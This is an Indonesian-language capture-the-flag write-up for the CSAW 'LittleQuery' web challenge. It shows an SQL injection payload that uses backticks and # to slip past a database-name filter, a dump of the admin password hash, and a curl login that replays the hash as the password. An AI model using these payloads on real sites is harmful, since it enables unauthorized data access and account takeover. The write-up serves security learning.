Problems
LittleQuery
I've got a new website for BIG DATA analytics!
http://littlequery.chal.csaw.io
POC
Di source code pada halaman index kita bisa menemukan ada source yang di comment
<!--
<div class="col-md-4">
<h2>For Developers</h2>
<p>Check out our <a href="/api/db_explore.php">API</a></p>
</div>
-->
kita bisa melakukan explore terhadap database mereka menggunakan api yang tersedia,
ada 2 mode untuk mengexplor databasenya yaitu mode={schema|preview}
schema untuk melihat schema dari
table atau database.
so kita gunakan schema http://littlequery.chal.csaw.io/api/db_explore.php?mode=schema
untuk melakukan
list available databases ditemukan ada database namanya littlequery
, kemudian list table apa saja yang
ada pada database littlequery http://littlequery.chal.csaw.io/api/db_explore.php?mode=schema&db=littlequery
so kita dapat ada table user
{
tables: [
"user"
]
}
kemudian untuk melakukan list kolom pada table user gunakan http://littlequery.chal.csaw.io/api/db_explore.php?mode=schema&db=littlequery&table=user
dan di dapatkan
{
columns: {
uid: "int(11)",
username: "varchar(128)",
password: "varchar(40)"
}
}
untuk melakukan dump datanya kita bisa gunakan mode preview ke http://littlequery.chal.csaw.io/api/db_explore.php?mode=preview&db=littlequery&table=user
tapi ternyata ada filter yang melarang untuk melakukan preview terhadap database littlequery
setelah mencoba menlakukan injek terhadap parameter db dan table kita bisa memanipulasi parameter db sehingga tidak match dengan == “littlequery” kita bisa menggunakan # sebagai comment
illustrasi kodingan yang digunakan adalah sebagai berikut
$db = addslashes($_GET['db']);
$table = addslashes($_GET['table']);
if($db == "littlequery"){
die("Deny");
}
$query = "SELECT * from `".$db."`.".$table."`";
kita bisa melakukan bypass dengan menggunakan payload sebagai berikut:
http://littlequery.chal.csaw.io/api/db_explore.php?mode=preview&db=littlequery`.`user`%23&table=foobar`
$query akan jadi seperti berikut
SELECT * from `littlequery`.`user`#`.`foobar`
//query yang tereksekusi adalah => SELECT * from `littlequery`.`user`
$db = "littlequery`.`user`#" // jadi kita gak kena deny lagi
didapatkan user dan password yang di hash
[
{
uid: "1",
username: "admin",
password: "5896e92d38ee883cc09ad6f88df4934f6b074cf8"
}
]
kita tidak harus mencari plain-text dari SHA-1 tersebut karena website tersebut menerima login dengan hashed password bukan dengan plaintext password diketahui dari script yang ada di login.js
$(".form-signin").submit(function () {
var $password = $(this).find("input[type=password]");
$password.val(CryptoJS.SHA1($password.val()).toString());
});
kita bisa kirim POST data dengan curl curl -X POST http://littlequery.chal.csaw.io/login.php --data "username=admin&password=5896e92d38ee883cc09ad6f88df4934f6b074cf8" -v
ambil cookie yang di kirimkan response Set-Cookie: PHPSESSID=6cidmmh[...]cd63qr9nhgb7; path=/
kemudian
set cookie ke browser kalian untuk berpindah ke state login dan bisa akses ke /query.php
di temukan flag flag{mayb3_1ts_t1m3_4_real_real_escape_string?}